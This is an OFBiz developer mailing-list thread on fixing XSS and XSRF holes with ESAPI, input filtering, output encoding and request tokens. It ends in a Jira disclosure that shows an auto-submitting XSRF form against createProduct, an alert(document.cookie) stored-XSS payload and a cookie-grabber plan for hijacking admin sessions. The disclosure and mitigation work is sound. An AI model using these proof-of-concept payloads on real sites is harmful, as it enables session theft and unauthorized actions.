So, there's a tool, now how/where to use it in OFBiz... I think this will require a fair bit of work, and I know I'll miss things that are important in this first pass, but we can do some things to take care of the more obvious problems: 1. validate input: consider not allowing HTML in any field by default, and require an attribute set on service attributes or possibly even entity fields to say that restricted/safe HTML is allowed, or any HTML is allowed; this will break some things that actually need HTML initially, but fixing the broken things once found will be really easy 2. encode output: just in case HTML chars do get in somehow, we want to encode them so they are displayed literally and not interpreted as HTML by the browser; this will help avoid problems with messing up formatting when HTML is present, as well as helping with this security problem; this is easy to do in the various widgets (Screen, Form, Tree, Menu), and is tougher in FTL files if we want it encoded by default instead of manually using ?html on every field we want encoded, and I'd rather use the ESAPI encoder than the FTL one too; since much of this data is displayed right out of GenericValue objects, one possible solution is to change the GenericValue.get methods to do this encoding, and add a new get method that will not do encoding; this would handle the situations where the GenericValue is treated like a Map; this may also cause some crazy stuff to happen in places where gets are used in services and such and not in the UI... but I'm still thinking that through and am not sure
Re: Security Issues
Hi Pierre I took a look at the ESAPI library David suggested and tried to use it in OFBiz for input filtering. It basically works as you described by a filter specified in web.xml. There is a "SafeHTTPFilter" class that uses a "SafeRequest" and a "SafeResponse" which call a "Validator" object that is parametrized using regular expressions defined in ESAPI.properties. The ESAPI reference implementations and default property values are very restrictive (for example, leaving a form parameter empty is not possible), so these have to be customized for use in OFBiz. The good thing about a servlet filter is that it is used very early in the processing and doesn't require to modify code, but I don't know yet how we can make the link to an entity or service field to allow HTML for specific parameters... A Validator can then probably be used for output encoding too (maybe in GenericValue.get as David suggested). As we're interested in fixing these security issues in our OFBiz projects (i made a Jira issue some weeks ago, https://issues.apache.org/jira/browse/OFBIZ-2121, but it didn't get any attention), I can work at least 1 day per week on this stuff. It would be nice if we could work on this together in the same direction... -- Philipp Hoppen, nowhow solutions AG, Laupenstrasse 1, CH-3008 Bern Phone +41 (0)31 380 00 71 http://www.nowhow.ch pierre schrieb: Thank you Jacques, Other opinions on this approach? Can we work above? Pierre Jacques Le Roux wrote: Hi Pierre, From: "pierre" Hi all, Here is a proposition on how to implement such XSS control: First we consider that all HHTP request should be filtering. So we could add a filter into web.xml for each webapp that replaces a set of dangerous characters by there HTML code. By this way we can block all XSS attacks for entire application. Yes it makes sens indeed, that's what Michele also suggested in this thread, (with less details) : http://www.nabble.com/Re%3A-Security-Issues-p21628377.html After filtering all requests, we should add a way to parameterise this. So we could add 2 properties : - the first one to specifie a regex pattern that is used by filter engine - the second one to disable filtering And to be very flexible we can set those properties (or attributes) on 3 levels : - request (from request-map) - webapp (for a complete webbapp) - application (main level) The more flexible the better. And finaly we could consider that if there are no paramateres on request level, then we look for webapp parameters. If there are no parameters on webapp we look for application parameters. By this way we could filter all request and set exeption or regex for a particular request or webb-app or entire application. What do you think about this. Yes this will cover this security aspect, and sounds good to me. Thanks Jacques Pierre David E Jones wrote: Hello all. I'm actually a little surprised we're still where we are on this, so I'm putting some time into this... understanding that it will annoy as many people as it pleases (at first anyway...). In order to address various XSS and XSS-like security threats, I'd like to get some real and comprehensive stuff in place. Right now there are super-easy attacks that can be done, like putting JavaScript in a field during checkout that gets executed when a CSR (or anyone using the Order Manager) looks at the order, or someone looks at it in the Party Manager or wherever. That script can grab the session id and send it to a URL for session hijacking, or it can directly perform some action like marking the order as paid offline or creating a new admin account or changing the users password or whatever. The script could do anything the poor back-end user has access to do, and that's just an example. The best issues on this are: https://issues.apache.org/jira/browse/OFBIZ-1959 (newer one, good review of OFBiz security and applicable comments, good tips to resolve) https://issues.apache.org/jira/browse/OFBIZ-260 (the old/original one, including my silly comment on it) We have some simple code that does escaping for HTML chars, but it's not really used anywhere. Anyway, I think we need something more robust and comprehensive, especially given the fun ways of getting around filters and other things presented here: http://ha.ckers.org/xss.html What I'd like to do is add the OWASP ESAPI library, which is BSD licensed. There is a nice presentation about it as well here: http://code.google.com/p/owasp-esapi-java/ and JavaDocs here: http://owasp-esapi-java.googlecode.com/svn/trunk_doc/index.html == So, there's a tool, now how/where to use it in OFBiz... I think this will require a fair bit of work, and I know I'll miss things that are important in this first pas
Re: Security Issues
https://issues.apache.org/jira/browse/OFBIZ-1525 I think any work on these tasks would be greatly appreciated. BTW I don't think any other Jira issue is needed ;o) If anybody is already working on one of those tasks please chime in ... Thanks Jacques From: "pierre" Thank you Jacques, Other opinions on this approach? Can we work above? Pierre Jacques Le Roux wrote: Hi Pierre, From: "pierre" Hi all, Here is a proposition on how to implement such XSS control: First we consider that all HHTP request should be filtering. So we could add a filter into web.xml for each webapp that replaces a set of dangerous characters by there HTML code. By this way we can block all XSS attacks for entire application. Yes it makes sens indeed, that's what Michele also suggested in this thread, (with less details) : http://www.nabble.com/Re%3A-Security-Issues-p21628377.html After filtering all requests, we should add a way to parameterise this. So we could add 2 properties : - the first one to specifie a regex pattern that is used by filter engine - the second one to disable filtering And to be very flexible we can set those properties (or attributes) on 3 levels : - request (from request-map) - webapp (for a complete webbapp) - application (main level) The more flexible the better. And finaly we could consider that if there are no paramateres on request level, then we look for webapp parameters. If there are no parameters on webapp we look for application parameters. By this way we could filter all request and set exeption or regex for a particular request or webb-app or entire application. What do you think about this. Yes this will cover this security aspect, and sounds good to me. Thanks Jacques Pierre David E Jones wrote: Hello all. I'm actually a little surprised we're still where we are on this, so I'm putting some time into this... understanding that it will annoy as many people as it pleases (at first anyway...). In order to address various XSS and XSS-like security threats, I'd like to get some real and comprehensive stuff in place. Right now there are super-easy attacks that can be done, like putting JavaScript in a field during checkout that gets executed when a CSR (or anyone using the Order Manager) looks at the order, or someone looks at it in the Party Manager or wherever. That script can grab the session id and send it to a URL for session hijacking, or it can directly perform some action like marking the order as paid offline or creating a new admin account or changing the users password or whatever. The script could do anything the poor back-end user has access to do, and that's just an example. The best issues on this are: https://issues.apache.org/jira/browse/OFBIZ-1959 (newer one, good review of OFBiz security and applicable comments, good tips to resolve) https://issues.apache.org/jira/browse/OFBIZ-260 (the old/original one, including my silly comment on it) We have some simple code that does escaping for HTML chars, but it's not really used anywhere. Anyway, I think we need something more robust and comprehensive, especially given the fun ways of getting around filters and other things presented here: http://ha.ckers.org/xss.html What I'd like to do is add the OWASP ESAPI library, which is BSD licensed. There is a nice presentation about it as well here: http://code.google.com/p/owasp-esapi-java/ and JavaDocs here: http://owasp-esapi-java.googlecode.com/svn/trunk_doc/index.html == So, there's a tool, now how/where to use it in OFBiz... I think this will require a fair bit of work, and I know I'll miss things that are important in this first pass, but we can do some things to take care of the more obvious problems: 1. validate input: consider not allowing HTML in any field by default, and require an attribute set on service attributes or possibly even entity fields to say that restricted/safe HTML is allowed, or any HTML is allowed; this will break some things that actually need HTML initially, but fixing the broken things once found will be really easy 2. encode output: just in case HTML chars do get in somehow, we want to encode them so they are displayed literally and not interpreted as HTML by the browser; this will help avoid problems with messing up formatting when HTML is present, as well as helping with this security problem; this is easy to do in the various widgets (Screen, Form, Tree, Menu), and is tougher in FTL files if we want it encoded by default instead of manually using ?html on every field we want encoded, and I'd rather use the ESAPI encoder than the FTL one too; since much of this data is displayed right out of GenericValue objects, one possible solution is to change the GenericValue.get methods to do this encoding, and add a new get method that will not do encoding
Re: Security Issues
Thank you Jacques, Other opinions on this approach? Can we work above? Pierre Jacques Le Roux wrote: Hi Pierre, From: "pierre" Hi all, Here is a proposition on how to implement such XSS control: First we consider that all HHTP request should be filtering. So we could add a filter into web.xml for each webapp that replaces a set of dangerous characters by there HTML code. By this way we can block all XSS attacks for entire application. Yes it makes sens indeed, that's what Michele also suggested in this thread, (with less details) : http://www.nabble.com/Re%3A-Security-Issues-p21628377.html After filtering all requests, we should add a way to parameterise this. So we could add 2 properties : - the first one to specifie a regex pattern that is used by filter engine - the second one to disable filtering And to be very flexible we can set those properties (or attributes) on 3 levels : - request (from request-map) - webapp (for a complete webbapp) - application (main level) The more flexible the better. And finaly we could consider that if there are no paramateres on request level, then we look for webapp parameters. If there are no parameters on webapp we look for application parameters. By this way we could filter all request and set exeption or regex for a particular request or webb-app or entire application. What do you think about this. Yes this will cover this security aspect, and sounds good to me. Thanks Jacques Pierre David E Jones wrote: Hello all. I'm actually a little surprised we're still where we are on this, so I'm putting some time into this... understanding that it will annoy as many people as it pleases (at first anyway...). In order to address various XSS and XSS-like security threats, I'd like to get some real and comprehensive stuff in place. Right now there are super-easy attacks that can be done, like putting JavaScript in a field during checkout that gets executed when a CSR (or anyone using the Order Manager) looks at the order, or someone looks at it in the Party Manager or wherever. That script can grab the session id and send it to a URL for session hijacking, or it can directly perform some action like marking the order as paid offline or creating a new admin account or changing the users password or whatever. The script could do anything the poor back-end user has access to do, and that's just an example. The best issues on this are: https://issues.apache.org/jira/browse/OFBIZ-1959 (newer one, good review of OFBiz security and applicable comments, good tips to resolve) https://issues.apache.org/jira/browse/OFBIZ-260 (the old/original one, including my silly comment on it) We have some simple code that does escaping for HTML chars, but it's not really used anywhere. Anyway, I think we need something more robust and comprehensive, especially given the fun ways of getting around filters and other things presented here: http://ha.ckers.org/xss.html What I'd like to do is add the OWASP ESAPI library, which is BSD licensed. There is a nice presentation about it as well here: http://code.google.com/p/owasp-esapi-java/ and JavaDocs here: http://owasp-esapi-java.googlecode.com/svn/trunk_doc/index.html == So, there's a tool, now how/where to use it in OFBiz... I think this will require a fair bit of work, and I know I'll miss things that are important in this first pass, but we can do some things to take care of the more obvious problems: 1. validate input: consider not allowing HTML in any field by default, and require an attribute set on service attributes or possibly even entity fields to say that restricted/safe HTML is allowed, or any HTML is allowed; this will break some things that actually need HTML initially, but fixing the broken things once found will be really easy 2. encode output: just in case HTML chars do get in somehow, we want to encode them so they are displayed literally and not interpreted as HTML by the browser; this will help avoid problems with messing up formatting when HTML is present, as well as helping with this security problem; this is easy to do in the various widgets (Screen, Form, Tree, Menu), and is tougher in FTL files if we want it encoded by default instead of manually using ?html on every field we want encoded, and I'd rather use the ESAPI encoder than the FTL one too; since much of this data is displayed right out of GenericValue objects, one possible solution is to change the GenericValue.get methods to do this encoding, and add a new get method that will not do encoding; this would handle the situations where the GenericValue is treated like a Map; this may also cause some crazy stuff to happen in places where gets are used in services and such and not in the UI... but I'm still thinking that through and am not sure
Re: Security Issues
Hi Pierre, From: "pierre" Hi all, Here is a proposition on how to implement such XSS control: First we consider that all HHTP request should be filtering. So we could add a filter into web.xml for each webapp that replaces a set of dangerous characters by there HTML code. By this way we can block all XSS attacks for entire application. Yes it makes sens indeed, that's what Michele also suggested in this thread, (with less details) : http://www.nabble.com/Re%3A-Security-Issues-p21628377.html After filtering all requests, we should add a way to parameterise this. So we could add 2 properties : - the first one to specifie a regex pattern that is used by filter engine - the second one to disable filtering And to be very flexible we can set those properties (or attributes) on 3 levels : - request (from request-map) - webapp (for a complete webbapp) - application (main level) The more flexible the better. And finaly we could consider that if there are no paramateres on request level, then we look for webapp parameters. If there are no parameters on webapp we look for application parameters. By this way we could filter all request and set exeption or regex for a particular request or webb-app or entire application. What do you think about this. Yes this will cover this security aspect, and sounds good to me. Thanks Jacques Pierre David E Jones wrote: Hello all. I'm actually a little surprised we're still where we are on this, so I'm putting some time into this... understanding that it will annoy as many people as it pleases (at first anyway...). In order to address various XSS and XSS-like security threats, I'd like to get some real and comprehensive stuff in place. Right now there are super-easy attacks that can be done, like putting JavaScript in a field during checkout that gets executed when a CSR (or anyone using the Order Manager) looks at the order, or someone looks at it in the Party Manager or wherever. That script can grab the session id and send it to a URL for session hijacking, or it can directly perform some action like marking the order as paid offline or creating a new admin account or changing the users password or whatever. The script could do anything the poor back-end user has access to do, and that's just an example. The best issues on this are: https://issues.apache.org/jira/browse/OFBIZ-1959 (newer one, good review of OFBiz security and applicable comments, good tips to resolve) https://issues.apache.org/jira/browse/OFBIZ-260 (the old/original one, including my silly comment on it) We have some simple code that does escaping for HTML chars, but it's not really used anywhere. Anyway, I think we need something more robust and comprehensive, especially given the fun ways of getting around filters and other things presented here: http://ha.ckers.org/xss.html What I'd like to do is add the OWASP ESAPI library, which is BSD licensed. There is a nice presentation about it as well here: http://code.google.com/p/owasp-esapi-java/ and JavaDocs here: http://owasp-esapi-java.googlecode.com/svn/trunk_doc/index.html == So, there's a tool, now how/where to use it in OFBiz... I think this will require a fair bit of work, and I know I'll miss things that are important in this first pass, but we can do some things to take care of the more obvious problems: 1. validate input: consider not allowing HTML in any field by default, and require an attribute set on service attributes or possibly even entity fields to say that restricted/safe HTML is allowed, or any HTML is allowed; this will break some things that actually need HTML initially, but fixing the broken things once found will be really easy 2. encode output: just in case HTML chars do get in somehow, we want to encode them so they are displayed literally and not interpreted as HTML by the browser; this will help avoid problems with messing up formatting when HTML is present, as well as helping with this security problem; this is easy to do in the various widgets (Screen, Form, Tree, Menu), and is tougher in FTL files if we want it encoded by default instead of manually using ?html on every field we want encoded, and I'd rather use the ESAPI encoder than the FTL one too; since much of this data is displayed right out of GenericValue objects, one possible solution is to change the GenericValue.get methods to do this encoding, and add a new get method that will not do encoding; this would handle the situations where the GenericValue is treated like a Map; this may also cause some crazy stuff to happen in places where gets are used in services and such and not in the UI... but I'm still thinking that through and am not sure if it will be a problem... it is kind of using bomb to swat a fly so collateral damage is likely 3. consider adding a token that
Re: Security Issues
Hi all, Here is a proposition on how to implement such XSS control: First we consider that all HHTP request should be filtering. So we could add a filter into web.xml for each webapp that replaces a set of dangerous characters by there HTML code. By this way we can block all XSS attacks for entire application. After filtering all requests, we should add a way to parameterise this. So we could add 2 properties : - the first one to specifie a regex pattern that is used by filter engine - the second one to disable filtering And to be very flexible we can set those properties (or attributes) on 3 levels : - request (from request-map) - webapp (for a complete webbapp) - application (main level) And finaly we could consider that if there are no paramateres on request level, then we look for webapp parameters. If there are no parameters on webapp we look for application parameters. By this way we could filter all request and set exeption or regex for a particular request or webb-app or entire application. What do you think about this. Pierre David E Jones wrote: Hello all. I'm actually a little surprised we're still where we are on this, so I'm putting some time into this... understanding that it will annoy as many people as it pleases (at first anyway...). In order to address various XSS and XSS-like security threats, I'd like to get some real and comprehensive stuff in place. Right now there are super-easy attacks that can be done, like putting JavaScript in a field during checkout that gets executed when a CSR (or anyone using the Order Manager) looks at the order, or someone looks at it in the Party Manager or wherever. That script can grab the session id and send it to a URL for session hijacking, or it can directly perform some action like marking the order as paid offline or creating a new admin account or changing the users password or whatever. The script could do anything the poor back-end user has access to do, and that's just an example. The best issues on this are: https://issues.apache.org/jira/browse/OFBIZ-1959 (newer one, good review of OFBiz security and applicable comments, good tips to resolve) https://issues.apache.org/jira/browse/OFBIZ-260 (the old/original one, including my silly comment on it) We have some simple code that does escaping for HTML chars, but it's not really used anywhere. Anyway, I think we need something more robust and comprehensive, especially given the fun ways of getting around filters and other things presented here: http://ha.ckers.org/xss.html What I'd like to do is add the OWASP ESAPI library, which is BSD licensed. There is a nice presentation about it as well here: http://code.google.com/p/owasp-esapi-java/ and JavaDocs here: http://owasp-esapi-java.googlecode.com/svn/trunk_doc/index.html == So, there's a tool, now how/where to use it in OFBiz... I think this will require a fair bit of work, and I know I'll miss things that are important in this first pass, but we can do some things to take care of the more obvious problems: 1. validate input: consider not allowing HTML in any field by default, and require an attribute set on service attributes or possibly even entity fields to say that restricted/safe HTML is allowed, or any HTML is allowed; this will break some things that actually need HTML initially, but fixing the broken things once found will be really easy 2. encode output: just in case HTML chars do get in somehow, we want to encode them so they are displayed literally and not interpreted as HTML by the browser; this will help avoid problems with messing up formatting when HTML is present, as well as helping with this security problem; this is easy to do in the various widgets (Screen, Form, Tree, Menu), and is tougher in FTL files if we want it encoded by default instead of manually using ?html on every field we want encoded, and I'd rather use the ESAPI encoder than the FTL one too; since much of this data is displayed right out of GenericValue objects, one possible solution is to change the GenericValue.get methods to do this encoding, and add a new get method that will not do encoding; this would handle the situations where the GenericValue is treated like a Map; this may also cause some crazy stuff to happen in places where gets are used in services and such and not in the UI... but I'm still thinking that through and am not sure if it will be a problem... it is kind of using bomb to swat a fly so collateral damage is likely 3. consider adding a token that is required for all requests in a session except the first one, use a constantly changing token, and have it added by the URL writing stuff based on a value in the session; this would change on every request, which is a pain because it means that any page in someone's browser other than the most recently rendered one would not work (a problem we have wi
Re: Security Issues
jacques.le.roux wrote: > > > It seems that's Michele (euronymous) saying < (without actually eliminating it) restricting the attack window > time>> has a point there. > We may lean on his specific (hobby, best ones, with deep motivation ;o) > knowledge and guide him where/if he feels so ? > > Jacques > > Jacques, David, developers... It would be a pleasure to work on Ofbiz security, from both a developer and attacker point of view... It would be a good exercise for me, to deeply understand Ofbiz internals. Maybe we can share your knowledge in ofbiz core, and my knowledge about web app security... If you can point me in the right way, as Jacques said, I will develop the solution together with you... Let me know Michele -- View this message in context: http://www.nabble.com/Security-Issues-tp21622188p21639770.html Sent from the OFBiz - Dev mailing list archive at Nabble.com.
Re: Security Issues
From: "David E Jones" Hello all. I'm actually a little surprised we're still where we are on this, so I'm putting some time into this... understanding that it will annoy as many people as it pleases (at first anyway...). In order to address various XSS and XSS-like security threats, I'd like to get some real and comprehensive stuff in place. Right now there are super-easy attacks that can be done, like putting JavaScript in a field during checkout that gets executed when a CSR (or anyone using the Order Manager) looks at the order, or someone looks at it in the Party Manager or wherever. That script can grab the session id and send it to a URL for session hijacking, or it can directly perform some action like marking the order as paid offline or creating a new admin account or changing the users password or whatever. The script could do anything the poor back-end user has access to do, and that's just an example. The best issues on this are: https://issues.apache.org/jira/browse/OFBIZ-1959 (newer one, good review of OFBiz security and applicable comments, good tips to resolve) https://issues.apache.org/jira/browse/OFBIZ-260 (the old/original one, including my silly comment on it) :D We have some simple code that does escaping for HTML chars, but it's not really used anywhere. Anyway, I think we need something more robust and comprehensive, especially given the fun ways of getting around filters and other things presented here: http://ha.ckers.org/xss.html What I'd like to do is add the OWASP ESAPI library, which is BSD licensed. There is a nice presentation about it as well here: http://code.google.com/p/owasp-esapi-java/ and JavaDocs here: http://owasp-esapi-java.googlecode.com/svn/trunk_doc/index.html Wooww, with beautiful draws in (see Validator at least) ! Not sure how *ValidCreditCard (did not look into sourec) methods work but interesting... And a very fast/good presentation (but in PowerPoint :/) here http://owasp-esapi-java.googlecode.com/files/OWASP%20ESAPI.ppt A big + 1 (just looked at presentation for now) == So, there's a tool, now how/where to use it in OFBiz... I think this will require a fair bit of work, and I know I'll miss things that are important in this first pass, but we can do some things to take care of the more obvious problems: 1. validate input: consider not allowing HTML in any field by default, and require an attribute set on service attributes or possibly even entity fields to say that restricted/safe HTML is allowed, or any HTML is allowed; this will break some things that actually need HTML initially, but fixing the broken things once found will be really easy +1 2. encode output: just in case HTML chars do get in somehow, we want to encode them so they are displayed literally and not interpreted as HTML by the browser; this will help avoid problems with messing up formatting when HTML is present, as well as helping with this security problem; Will not that be a problem in Content Component ? this is easy to do in the various widgets (Screen, Form, Tree, Menu), and is tougher in FTL files if we want it encoded by default instead of manually using ?html on every field we want encoded, and I'd rather use the ESAPI encoder than the FTL one too; since much of this data is displayed right out of GenericValue objects, one possible solution is to change the GenericValue.get methods to do this encoding, and add a new get method that will not do encoding; this would handle the situations where the GenericValue is treated like a Map; this may also cause some crazy stuff to happen in places where gets are used in services and such and not in the UI... Fritghening... but I'm still thinking that through and am not sure if it will be a problem... it is kind of using bomb to swat a fly so collateral damage is likely :( 3. consider adding a token that is required for all requests in a session except the first one, use a constantly changing token, and have it added by the URL writing stuff based on a value in the session; this would change on every request, which is a pain because it means that any page in someone's browser other than the most recently rendered one would not work (a problem we have with the externalLoginKey stuff) unless we keep a certain number of the most recent tokens in the session and allow any of the last 10 or 20 or something to be used 4. related to #3, and relevant whether or not we do #3, add a unique token to all rendered forms and require that when processing the form input; if we only allow the tokens to be used once this also fits the common pattern used for eliminating accidental multiple submissions of the same form; this could be done easily with the Form Widget and the ServiceEventHandler (or perhaps all of the event handlers...), and more manually supported in other places like FTL forms; this would
Re: Security Issues
+1, easy just have to refer to the main one to check, ie https://issues.apache.org/jira/browse/OFBIZ-1525 Jacques From: "Adrian Crum" David E Jones wrote: The best issues on this are: https://issues.apache.org/jira/browse/OFBIZ-1959 (newer one, good review of OFBiz security and applicable comments, good tips to resolve) https://issues.apache.org/jira/browse/OFBIZ-260 (the old/original one, including my silly comment on it) Before we get started, how about choosing ONE of the many issues to use for collaboration, and close the rest? There seems to be four or five issues that all describe the same problem, but in different areas of the project. -Adrian
Re: Security Issues
Hi David I'm Michele Orrù, the one who published on you jira the issue you mentioned: https://issues.apache.org/jira/browse/OFBIZ-1959 Basically we are using Ofbiz trunk in our projects, when we need to build ecommerce, crm, facility management and so on: we also developed a few customization (for example to be able to download a bunch of digital products as a single zipped one (a work that required song track bundles), some customization and issue solving of JMS related funzionalities, and security). I'm a penetration tester, more for passion than for work: I already helped other companies such as Konakart to secure their products ( take a look at my blog: http://antisnatchor.com/2008/12/22/konakart-2260-responsible-disclosure/ ). Security (intended as Web Application Security, not Role Based one) in Ofbiz is not so "high" as you mentioned in your complete post, and as I mentioned in my jira ticket. Now, the right thing to do as I said, and as you accepted (I'm glad for this), is to integrate the filtering functionality of ESAPI inside Ofbiz. It will not be so easy, because Ofbiz structure is so huge and vast, but the points you cited in your post regarding XSS and XSRF protection are OK, from a security point of view. I was thinking to proceed in two ways, when I will have a bit of time: first implement a servlet filter that we can declare in web.xml that validates input BEFORE an eventually malicious request can reach the application surface. In this way a user can choose if implement the filter in every ofbiz application, or just leave ofbiz without it. Second idea, research where to put the validation code of ESAPI and integrate it in Ofbiz. Maybe UtilHttp can extend ESAPI DefaultEncoder to protect from XSS: I need time to look at this solutions, and from a few days I'm researching it. Maybe we can exchange some ideas to finally secure Ofbiz from web security threats. Output encoding is useful but can be implemented in a second moment, because if we filter in a good way the input, output should not be malicious. XSRF protection trough random token it will be maybe the most difficult part, and I think your proposal of store a number n of last tokens is not a good solution, because it only minimize XSRF (without actually eliminating it) restricting the attack window time. Last thing: you're right when you speak about "I've avoided most of these types of things because they always tend to cause a dozen problems for every problem they solve." or "having a bunch of false positives for security errors because of some funny scenario that was not anticipated (and this isn't an if thing, it's a when and how often thing). ".your points are correct, but the main point is that we (as Ofbiz users/developers) cannot leave Ofbiz in such an "insecure" state. Ofbiz is really an application that can change the market, and improving his security to maximum levels is definitely needed, and maybe an urgent TO-DO. As I wrote here (I'm nickname: euronymous): http://sla.ckers.org/forum/read.php?3,25331,25334#msg-25334 there are a lot of production websites created with Ofbiz that are vulnerable to every attack I described in the jira issue: if we don't integrate security functions, almost no one is gonna put something like an application firewall in front of it in production. Said this...I'm gonna research a bit about ESAPI integration. Looking forward for your thoughts Have a good weekend. Michele -- View this message in context: http://www.nabble.com/Security-Issues-tp21622188p21628377.html Sent from the OFBiz - Dev mailing list archive at Nabble.com.
Re: Security Issues
David E Jones wrote: The best issues on this are: https://issues.apache.org/jira/browse/OFBIZ-1959 (newer one, good review of OFBiz security and applicable comments, good tips to resolve) https://issues.apache.org/jira/browse/OFBIZ-260 (the old/original one, including my silly comment on it) Before we get started, how about choosing ONE of the many issues to use for collaboration, and close the rest? There seems to be four or five issues that all describe the same problem, but in different areas of the project. -Adrian
Re: Security Issues
David E Jones wrote: 1. validate input: consider not allowing HTML in any field by default, and require an attribute set on service attributes or possibly even entity fields to say that restricted/safe HTML is allowed, or any HTML is allowed; this will break some things that actually need HTML initially, but fixing the broken things once found will be really easy +1 2. encode output: just in case HTML chars do get in somehow, we want to encode them so they are displayed literally and not interpreted as HTML by the browser; this will help avoid problems with messing up formatting when HTML is present, as well as helping with this security problem; this is easy to do in the various widgets (Screen, Form, Tree, Menu), and is tougher in FTL files if we want it encoded by default instead of manually using ?html on every field we want encoded, and I'd rather use the ESAPI encoder than the FTL one too; since much of this data is displayed right out of GenericValue objects, one possible solution is to change the GenericValue.get methods to do this encoding, and add a new get method that will not do encoding; this would handle the situations where the GenericValue is treated like a Map; this may also cause some crazy stuff to happen in places where gets are used in services and such and not in the UI... but I'm still thinking that through and am not sure if it will be a problem... it is kind of using bomb to swat a fly so collateral damage is likely What about having an FTL decorator class for GenericValue that does escaping? That would be a simple modification to FreeMarkerWorker.java. -Adrian
Security Issues
Hello all. I'm actually a little surprised we're still where we are on this, so I'm putting some time into this... understanding that it will annoy as many people as it pleases (at first anyway...). In order to address various XSS and XSS-like security threats, I'd like to get some real and comprehensive stuff in place. Right now there are super-easy attacks that can be done, like putting JavaScript in a field during checkout that gets executed when a CSR (or anyone using the Order Manager) looks at the order, or someone looks at it in the Party Manager or wherever. That script can grab the session id and send it to a URL for session hijacking, or it can directly perform some action like marking the order as paid offline or creating a new admin account or changing the users password or whatever. The script could do anything the poor back-end user has access to do, and that's just an example. The best issues on this are: https://issues.apache.org/jira/browse/OFBIZ-1959 (newer one, good review of OFBiz security and applicable comments, good tips to resolve) https://issues.apache.org/jira/browse/OFBIZ-260 (the old/original one, including my silly comment on it) We have some simple code that does escaping for HTML chars, but it's not really used anywhere. Anyway, I think we need something more robust and comprehensive, especially given the fun ways of getting around filters and other things presented here: http://ha.ckers.org/xss.html What I'd like to do is add the OWASP ESAPI library, which is BSD licensed. There is a nice presentation about it as well here: http://code.google.com/p/owasp-esapi-java/ and JavaDocs here: http://owasp-esapi-java.googlecode.com/svn/trunk_doc/index.html == So, there's a tool, now how/where to use it in OFBiz... I think this will require a fair bit of work, and I know I'll miss things that are important in this first pass, but we can do some things to take care of the more obvious problems: 1. validate input: consider not allowing HTML in any field by default, and require an attribute set on service attributes or possibly even entity fields to say that restricted/safe HTML is allowed, or any HTML is allowed; this will break some things that actually need HTML initially, but fixing the broken things once found will be really easy 2. encode output: just in case HTML chars do get in somehow, we want to encode them so they are displayed literally and not interpreted as HTML by the browser; this will help avoid problems with messing up formatting when HTML is present, as well as helping with this security problem; this is easy to do in the various widgets (Screen, Form, Tree, Menu), and is tougher in FTL files if we want it encoded by default instead of manually using ?html on every field we want encoded, and I'd rather use the ESAPI encoder than the FTL one too; since much of this data is displayed right out of GenericValue objects, one possible solution is to change the GenericValue.get methods to do this encoding, and add a new get method that will not do encoding; this would handle the situations where the GenericValue is treated like a Map; this may also cause some crazy stuff to happen in places where gets are used in services and such and not in the UI... but I'm still thinking that through and am not sure if it will be a problem... it is kind of using bomb to swat a fly so collateral damage is likely 3. consider adding a token that is required for all requests in a session except the first one, use a constantly changing token, and have it added by the URL writing stuff based on a value in the session; this would change on every request, which is a pain because it means that any page in someone's browser other than the most recently rendered one would not work (a problem we have with the externalLoginKey stuff) unless we keep a certain number of the most recent tokens in the session and allow any of the last 10 or 20 or something to be used 4. related to #3, and relevant whether or not we do #3, add a unique token to all rendered forms and require that when processing the form input; if we only allow the tokens to be used once this also fits the common pattern used for eliminating accidental multiple submissions of the same form; this could be done easily with the Form Widget and the ServiceEventHandler (or perhaps all of the event handlers...), and more manually supported in other places like FTL forms; this would require some configuration, and again the annoying part is to cover as much as possible we would want this on by default which may cause problems for some things which would then need to changed to support it or disable it for that particular form and/or event I'm really interested in hearing what others have to say about these. Personally I've avoide
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[
https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12630897#action_12630897
]
BJ Freeman commented on OFBIZ-1959:
---
Look forward to you patches.
:D
> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and
> mitigation
>
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Bug
> Components: ALL COMPONENTS
>Affects Versions: SVN trunk
>Reporter: Michele Orru
>Priority: Critical
> Fix For: SVN trunk
>
>
> +++|||Discovered security
> issues|||+
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end
> requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and
> so on
> 3.: Session Hijacking
> +++|||Exploitation|||+
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST
> request
> parameters are never "fortified" to prevent XSRF: no random token protection
> can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the
> attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like
> http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose
> description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the
> middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following
> innocuous one:
>
>
> action="https://127.0.0.1:8443/catalog/control/createProduct";>
>
>
>
>
>
> document.xsrf.submit();
> Of course the product-creation mechanism is not finished (we need price,
> content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of
> the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent
> to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in
> the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the
> browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some
> stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a
> needed
> parameter is quite un-useful and so prone to store our malicious code) with
> something
> like:
>
>
> value="alert(document.cookie)">
>
> The malicious code will display every cookie information in a pop-up, that
> only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET
> request from
> our victims, extract the useful parameters and store them in a file or DB, in
> a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his
> maxlength
> is 255 characters: this gives us a great advantage when creating a complex
> injection code,
> if we don't want to inject a link to the malicious script like
> http://x.x.x.x/malicious.js";>
>
> The malicious code will look as the following one:
>
>
> var
